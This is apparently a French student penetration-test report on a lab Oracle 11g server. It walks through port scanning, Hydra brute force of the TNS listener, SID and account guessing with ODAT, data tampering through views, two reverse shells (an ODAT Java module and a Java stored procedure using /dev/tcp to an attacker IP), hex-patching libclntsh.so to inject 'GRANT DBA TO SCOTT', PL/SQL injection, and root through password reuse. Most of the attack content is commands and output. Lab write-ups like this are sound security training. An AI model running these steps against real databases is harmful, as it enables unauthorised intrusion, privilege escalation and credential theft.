



Rapport Sécurité de base de donnée Oracle

Groupe 05:

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Étendue des travaux

Coverage

Machine destinée à être un serveur de base de donnée oracle et on est limité par ce dernier.

Description de la machine

La machine est un RedHat (Linux) avec plusieurs services. On a accès à un utilisateur simple avec l'identifiant oracle et mdp oracle.

Hypothèses/contraintes

Ne rien corriger sur la VM, ne rien modifier, ne rien installer. Si changement à effectuer (script à améliorer, fichiers de conf à changer), le mentionner dans le compte-rendu.

Scanning

Après avoir récupérer l'IP de la machine, on a lancé un nmap scan avec un script nse pour voir si il peut trouver des vulnérabilités :

Nmap -sC -sV -p- 192.168.56.101

```

PORT      STATE SERVICE VERSION
21/tcp    open  tcpwrapped
22/tcp    open  ssh      OpenSSH 4.3 (protocol 2.0)
80/tcp    open  tcpwrapped
111/tcp   open  rpcbind  2 (RPC #100000)
1521/tcp  open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
8888/tcp  open  http     Oracle Application Express (APEX) http admin
9999/tcp  open  http     Apache httpd 2.2.3 ((Oracle))
53392/tcp open  unknown

```

Trouver TNS port/version

Grace au scan nmap, on constate que le port tns listener de oracle est le **1521** (par défaut)

Pour trouver la version en utilise l'utilité **tnscmd10g** :

```

Yan1x0s@1337:~$ tnscmd10g version -h 192.168.56.101
sending (CONNECT_DATA=(COMMAND=version)) to 192.168.56.101:1521
writing 90 bytes
reading
.a.....".U(DESCRIPTION=(ERR=12508)(VSNNUM=186647040)(ERROR_STACK=(ERROR=(CODE=12508)(EMFI=4))))

```

La commande retourne une erreur car le listener est protégé par un mot de passe.

Trouver TNS Listener

Cela est nécessaire pour trouver les Listeners qui écoutent sur le port trouvé.

Grâce à la commande **tnscmd10g** on peut trouver les listener, dans notre cas cela correspond au champ **ALIAS**, la valeur est **LISTENER**;

```

Yan1x0s@1337:~$ tnscmd10g ping -h 192.168.56.101
sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.56.101:1521
writing 87 bytes
reading
.A.....".5(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=LISTENER))

```

Comme le listener est protégé par un mot de passe, alors on essaye de le bruteforcer grâce à Hydra :

```
root@kali:~/Documents# hydra -P passwd_list_oracle.txt -t 1 -s 1521 172.25.1.11 oracle-listener
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-11-29 17:45:41
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking oracle-listener://172.25.1.11:1521/
[1521][oracle-listener] host: 172.25.1.11 password: oracle
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-11-29 17:45:52
```

Le mot de passe du listener est oracle.

Enumération TNS Listener

Sidguess trouve le SID par défaut qui est ORCL.

```
[*]-[doudi@parrot]-[*]
$sidguess -i 192.168.177.4 -d /usr/share/metasploit-framework/data/wordlists/sid.txt
ts/sid.txt

SIDGuesser v1.0.5 by patrik@cqure.net
-----
Starting Dictionary Attack (<space> for stats, Q for quit) ...
FOUND SID: ORCL
```

Si on utilise une autre liste, on trouve d'autre SID réservés au système.

```
root@kali:~/Desktop# sidguess -i 192.168.171.1 -d /usr/share/metasploit-framework/data/wordlists/sid.txt
Attack the server (-i 192.168.1.205) using a dictionary file (-d /usr/share/wordlists/

SIDGuesser v1.0.5 by patrik@cqure.net
-----
Starting Dictionary Attack (<space> for stats, Q for quit)
FOUND SID: XE
FOUND SID: CLRExtProc
FOUND SID:
We use cookies to personalize content and ads, to provide social media features and to analyse our traffic. We also share information about
root@kali:~/Desktop# for more details.
```

Exploitation

Connexion à la base de données

Pour se connecter à la base de donnée, on doit trouver les utilisateurs valides et leurs mot de passe. Cela est possible avec **ODAT**:

```
oot@kali:~/usr/share/odat/accounts# odat passwordguesser -s 172.25.1.11 -d ORCL --accounts-files accounts/logins.txt accounts/pwds.txt

1] (172.25.1.11:1521): Searching valid accounts on the 172.25.1.11 server, port 1521
the login ABM has already been tested at least once. What do you want to do:
stop (s/S)
continue and ask every time (a/A)
continue without to ask (c/C)

+] Valid credentials found: DBSNMP/oracle. Continue...
+] Valid credentials found: DEMO/oracle. Continue...
+] Valid credentials found: HR/oracle. Continue...
+] Valid credentials found: OE/oracle. Continue...
+] Valid credentials found: SCOTT/oracle. Continue...
+] Valid credentials found: SH/oracle. Continue...
+] Valid credentials found: SYS/oracle. Continue...
+] Valid credentials found: SYSMAN/oracle. Continue...
+] Valid credentials found: SYSTEM/oracle. Continue...
```

On utilise l'utilisateur **scott/oracle** pour se connecter à la base de donnée:

```
SQL> select * from v$version;

BANNER
-----
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - Production
PL/SQL Release 11.2.0.2.0 - Production
CORE      11.2.0.2.0      Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production
```

```
SQL> select owner,table_name from all_tables;

OWNER      TABLE_NAME
-----
SYS        ICOL$
SYS        IND$
SYS        COL$
SYS        CLU$
SYS        TAB$
SYS        LOB$
SYS        COLTYPE$
SYS        SUBCOLTYPE$
SYS        NTAB$
SYS        REFCON$
SYS        OPQTYPE$

OWNER      TABLE_NAME
-----
SYS        ICOLDEP$
SYS        VIEWTRCOL$
SYS        LIBRARY$
SYS        ASSEMBLY$
SYS        ATTRCOL$
SYS        TYPE_MISC$
SYS        TS$
SYS        FET$
SYS        UET$
SYS        SEG$
SYS        USER$

SQL> select * from all_users;

USERNAME      USER_ID  CREATED
-----
OBE           352     29-NOV-12
OE1           170     02-FEB-10
APEX_LISTENER 348     29-NOV-12
XDBPM        261     20-OCT-11
XS$NULL      2147483638 13-AUG-09
XDBEXT       264     20-OCT-11
XFILES       201     04-OCT-10
APEX_REST_PUBLIC_USER 349     29-NOV-12
APEX_PUBLIC_USER 210     07-FEB-11
TIMESTEN     340     23-MAY-12
CACHEADM     342     23-MAY-12

USERNAME      USER_ID  CREATED
-----
PLS           343     23-MAY-12
TTHR          344     23-MAY-12
PHPDEMO       258     25-MAY-11
HR_TRIG       257     25-MAY-11
MDDATA        65      13-AUG-09
SPATIAL_WFS_ADMIN_USR 67      13-AUG-09
SPATIAL_CSW_ADMIN_USR 70      13-AUG-09
HR1           169     02-FEB-10
DEMO          114     30-OCT-09
BI            90      30-OCT-09
PM            89      30-OCT-09
```



```
SQL> select * from dba_registry_history
2 ;
```

ACTION_TIME	ACTION	NAMESPACE	VERSION	ID	BUNDLE_SERIES	COMMENTS
02-OCT-10 11.34.43.691423 AM	VIEW INVALIDATE			8289601		view invalidation

```
SQL> select * from dba_registry_history
2 ;
```

ACTION_TIME	ACTION	NAMESPACE	VERSION	ID	BUNDLE_SERIES	COMMENTS
02-OCT-10 11.34.44.547808 AM	VIEW INVALIDATE			8289601		view invalidation

```
SQL> show user;
USER is "SCOTT"
SQL> select * from user_sys_privs;
```

USERNAME	PRIVILEGE	ADM
SCOTT	CHANGE NOTIFICATION	NO
SCOTT	CREATE SYNONYM	NO
SCOTT	DROP ANY DIRECTORY	NO
SCOTT	CREATE ANY DIRECTORY	NO
SCOTT	CREATE VIEW	NO
SCOTT	UNLIMITED TABLESPACE	NO
SCOTT	ALTER SESSION	NO
SCOTT	CREATE TABLE	NO

Scott n'a pas assez de privilèges...

Voici les tables de scott:

```
SQL> SELECT table_name FROM user_tables;
```

TABLE_NAME
DEPT
EMP
BONUS
SALGRADE
STAT_TABLE
DATA_STAGING_REPOS

6 rows selected.

On peut faire des modifications sur ces tables :

```
SQL> UPDATE DEPT set LOC='ALGERIA';
4 rows updated.
SQL> SELECT * FROM DEPT;
```

DEPTNO	DNAME	LOC
10	ACCOUNTING	ALGERIA
20	RESEARCH	ALGERIA
30	SALES	ALGERIA
40	OPERATIONS	ALGERIA

On essaye de voir et modifier les bases de données de l'utilisateur **sys**:

```
SQL> select owner, table_name from all_tables where owner='SYS';
```

OWNER	TABLE_NAME
SYS	DUAL
SYS	SYSTEM_PRIVILEGE_MAP
SYS	TABLE_PRIVILEGE_MAP
SYS	STMT_AUDIT_OPTION_MAP
SYS	AUDIT_ACTIONS
SYS	AW\$EXPRESS
SYS	WRR\$_REPLAY_CALL_FILTER
SYS	HS_BULKLOAD_VIEW_OBJ
SYS	HS_PARTITION_COL_NAME
SYS	HS_PARTITION_COL_TYPE
SYS	HS\$_PARALLEL_METADATA

Prenons, cette table par exemple:

```
SQL> SELECT * FROM TABLE_PRIVILEGE_MAP;
```

PRIVILEGE	NAME
0	ALTER
1	AUDIT
2	COMMENT
3	DELETE
4	GRANT
5	INDEX
6	INSERT
7	LOCK
8	RENAME
9	SELECT
10	UPDATE

Essayons de faire une modification:

```
SQL> UPDATE TABLE_PRIVILEGE_MAP set NAME='ALEGRIA' where PRIVILEGE<3;
UPDATE TABLE_PRIVILEGE_MAP set NAME='ALEGRIA' where PRIVILEGE<3
*
ERROR at line 1:
ORA-01031: insufficient privileges
```

Pas assez de privilèges...

Piratage via les vus:

```
SQL> UPDATE (SELECT * FROM TABLE_PRIVILEGE_MAP) SET NAME='ALGERIA' WHERE PRIVILEGE=0;
1 row updated.
```

```
SQL> SELECT * FROM TABLE_PRIVILEGE_MAP;
PRIVILEGE NAME
-----
0 ALGERIA
1 AUDIT
2 COMMENT
```

Escalation de privilèges:

Odat contient un module qui nous aide à avoir main sur la machine (il upload un fichier java qui ouvre une session pour l'attaquant sur une adresse et un port donnée)

```
root@kali:~# odat java -s 172.25.1.11 -d ORCL -U sys -P oracle --reverse-shell 172.25.1.4 2011
[1] (172.25.1.11:1521): Try to give you a nc reverse shell from the 172.25.1.11 server
[+] The reverse shell try to connect to 172.25.1.4:2011
listening on [any] 2011 ...
```

Et voici le etc/passwd de la victime:

```
root@kali:~# netcat -nvlp 2011
listening on [any] 2011 ...
connect to [172.25.1.4] from (UNKNOWN) [172.25.1.11] 43650
ls
/bin/sh: ls: No such file or directory
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:./:/sbin/nologin
nsd:x:28:28:NSD Daemon:./:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:./:/sbin/nologin
mailnull:x:47:47:./var/spool/mqueue:/sbin/nologin
smmsp:x:51:51:./var/spool/mqueue:/sbin/nologin
pcap:x:77:77:./var/arpwatch:/sbin/nologin
ntp:x:38:38:./etc/ntp:/sbin/nologin
dbus:x:81:81:system message bus:./:/sbin/nologin
avahi:x:70:70:Avahi daemon:./:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:./:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42:./var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
oracle:x:500:500:oracle:/home/oracle:/bin/bash
vboxadd:x:101:1:./var/run/vboxadd:/bin/false
davfs2:x:501:501:DAVFS:/home/davfs2:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
dm:x:502:502:./home/dm:/bin/bash
```

Aussi on peut directement a l'aide d'un scripte java ouvrir un reverse shell


```

1  SET scan off
2
3  create or replace and compile java source named ReverseShell as
4  import java.io.*;
5  public class ReverseShell{
6      public static void getConnection(String ip, String port) throws InterruptedException, IOE
7          Runtime r = Runtime.getRuntime();
8          Process p = r.exec(new String[]{" /bin/bash", "-c", "0<&126-;exec 126<>/dev/tcp/" + ip + "
9          System.out.println(p.toString());
10         p.waitFor();
11     }
12 }
13 /
14
15 create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
16 IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
17 /

```

On execute se script directement dans la console sql

```

SQL> @http://192.168.177.1:8000/test.sql

Java created.

Procedure created.

SQL> exec reverse_shell('192.168.177.1','4445');
BEGIN reverse_shell('192.168.177.1','4445'); END;

*
ERROR at line 1:
ORA-29549: class SYS.ReverseShell has changed, Java session state cleared
ORA-06512: at "SYS.REVERSE_SHELL", line 1
ORA-06512: at line 1

SQL> clear
SQL> exec reverse_shell('192.168.177.1','4445');

```

On voit qu'on a directement un shell sur notre netcat

```

[~]-[doudi@parrot]-[~]
$nc -lvp 4445
listening on [any] 4445 ...
192.168.177.4: inverse host lookup failed: Unknown host
connect to [192.168.177.1] from (UNKNOWN) [192.168.177.4] 33173
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/snap/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ls
hc_DBUA0.dat
hc_orcl.dat
init.ora
initiorcl.ora
lkORCL
orapworcl
spfileorcl.ora
python -m "import pty;pty.spawn('/bin/bash')"

```

Via le correctif de la bibliothèque .so:

Via le shell qu'on a eu précédemment, on accède à la machine et on cherche le fichier libclntsh.so :

```
[oracle@localhost ~]$ locate libclntsh.so
/home/oracle/app/oracle/product/11.2.0/dbhome_2/lib/libclntsh.so
/home/oracle/app/oracle/product/11.2.0/dbhome_2/lib/libclntsh.so.10.1
/home/oracle/app/oracle/product/11.2.0/dbhome_2/lib/libclntsh.so.11.1
/home/oracle/app/oracle/product/TimesTen/tt1122/ttoracle_home/instantclient_11_2/libclntsh.so
/home/oracle/app/oracle/product/TimesTen/tt1122/ttoracle_home/instantclient_11_2/libclntsh.so.11.1
```

On ouvre le fichier avec un éditeur hexadécimal :

```
File Edit View Bookmarks Settings Help
File: libclntsh.so ASCII Offset: 0x01CFD710 / 0x02928E1A (%70)
01CFD710 00 00 00 00 00 00 00 00 00 00 00 00 .....
01CFD720 41 4C 54 45 52 20 53 45 53 53 49 4F 4E 20 53 45 ALTER SESSION SE
01CFD730 54 20 4E 4C 53 5F 4C 41 4E 47 55 41 47 45 3D 20 T NLS_LANGUAGE=
01CFD740 27 25 73 27 20 4E 4C 53 5F 54 45 52 52 49 54 4F '%s' NLS_TERRITO
01CFD750 52 59 3D 20 27 25 73 27 20 4E 4C 53 5F 43 55 52 RY= '%s' NLS_CUR
01CFD760 52 45 4E 43 59 3D 20 27 25 73 27 20 4E 4C 53 5F RENCY= '%s' NLS
```

On injecte notre requête pour donner des privilèges à l'utilisateur scott:

```
01CFD710 00 00 00 00 00 00 00 00 00 00 00 00 .....
01CFD720 47 52 41 4E 54 20 44 42 41 20 54 4F 20 53 43 4F GRANT DBA TO SCO
01CFD730 54 54 2D 2D 53 45 54 20 4E 4C 53 5F 4C 41 4E 47 TT--SET NLS_LANG
01CFD740 55 41 47 45 3D 20 27 25 73 27 20 4E 4C 53 5F 54 UAGE= '%s' NLS_T
01CFD750 45 52 52 49 54 4F 52 59 3D 20 27 25 73 27 20 4E TERRITORY= '%s' N
```

On se reconnecte pour reloader la bibliothèque patchée :

```
Yanix0s@i337:~/0x00/2019/Sec_BDD$ sqlplus scott/oracle@192.168.56.101:1521/ORCL
SQL*Plus: Release 12.1.0.2.0 Production on Sun Dec 1 22:11:34 2019
Copyright (c) 1982, 2014, Oracle. All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> SELECT * FROM SESSION_PRIVS ORDER BY PRIVILEGE;
PRIVILEGE
-----
ADMINISTER ANY SQL TUNING SET
ADMINISTER DATABASE TRIGGER
ADMINISTER RESOURCE MANAGER
ADMINISTER SQL MANAGEMENT OBJECT
ADMINISTER SQL TUNING SET
ADVISOR
ALTER ANY ASSEMBLY
ALTER ANY CLUSTER
ALTER ANY CUBE
ALTER ANY CUBE DIMENSION
ALTER ANY DIMENSION

PRIVILEGE
-----
ALTER ANY EDITION
ALTER ANY EVALUATION CONTEXT
ALTER ANY INDEX
ALTER ANY INDEXTYPE
ALTER ANY LIBRARY
ALTER ANY MATERIALIZED VIEW
ALTER ANY MINING MODEL
ALTER ANY OPERATOR
```

```
SQL> UPDATE TABLE_PRIVILEGE_MAP SET NAME='ALTER' WHERE PRIVILEGE=0;
1 row updated.

SQL> SELECT * FROM TABLE_PRIVILEGE_MAP;

PRIVILEGE NAME
-----
0 ALTER
1 AUDIT
2 COMMENT
```

Injection SQL dans des packages PL / SQL (ancien)

```
SQL> CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER/ local/bin:/usr/bin:/bin
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;
/ 2      3      4      5      6      7      8      9      10

Function created.
```

```
SQL> exec SYS.KUPW$WORKER.MAIN('x' AND 1=x.F1 --r6','');
BEGIN SYS.KUPW$WORKER.MAIN('x' AND 1=x.F1 --r6',''); END;

*
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00306: wrong number or types of arguments in call to 'MAIN'
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored
```

Obtenez le mot de passe SYS en clair

On extrait les mot de passes cryptés de l'utilisateur sys :

```
ORA-06512: at line 1
SQL> select credential_value from sysman.mgmt_credentials2;
CREDENTIAL_VALUE
-----
F7959F1FA32B38AE
418A43A1AEAF8F93 STEPS
```

Essayons de les cracker :

```
SQL> select credential_set_column, sysman.decrypt(credential_value) from sysman.mgmt_credentials2;
select credential_set_column, sysman.decrypt(credential_value) from sysman.mgmt_credentials2
*
ERROR at line 1:
ORA-28239: no key provided
ORA-06512: at "SYS.DBMS_CRYPTO_FFI", line 67
ORA-06512: at "SYS.DBMS_CRYPTO", line 44
ORA-06512: at "SYSMAN.DECRYPT", line 9
SQL> select credential_value from sysman.mgmt_credentials2;
CREDENTIAL_VALUE
-----
F7959F1FA32B38AE
418A43A1AEAF8F93
```

Avoir le root sur la machine:

Password reUSE :

Ayant déjà un shell sur le système, on peut avoir le root en ré-utilisant le même mot de passe qu'avant :

```
[oracle@localhost ~]$ su root
Password:
[root@localhost oracle]# _
```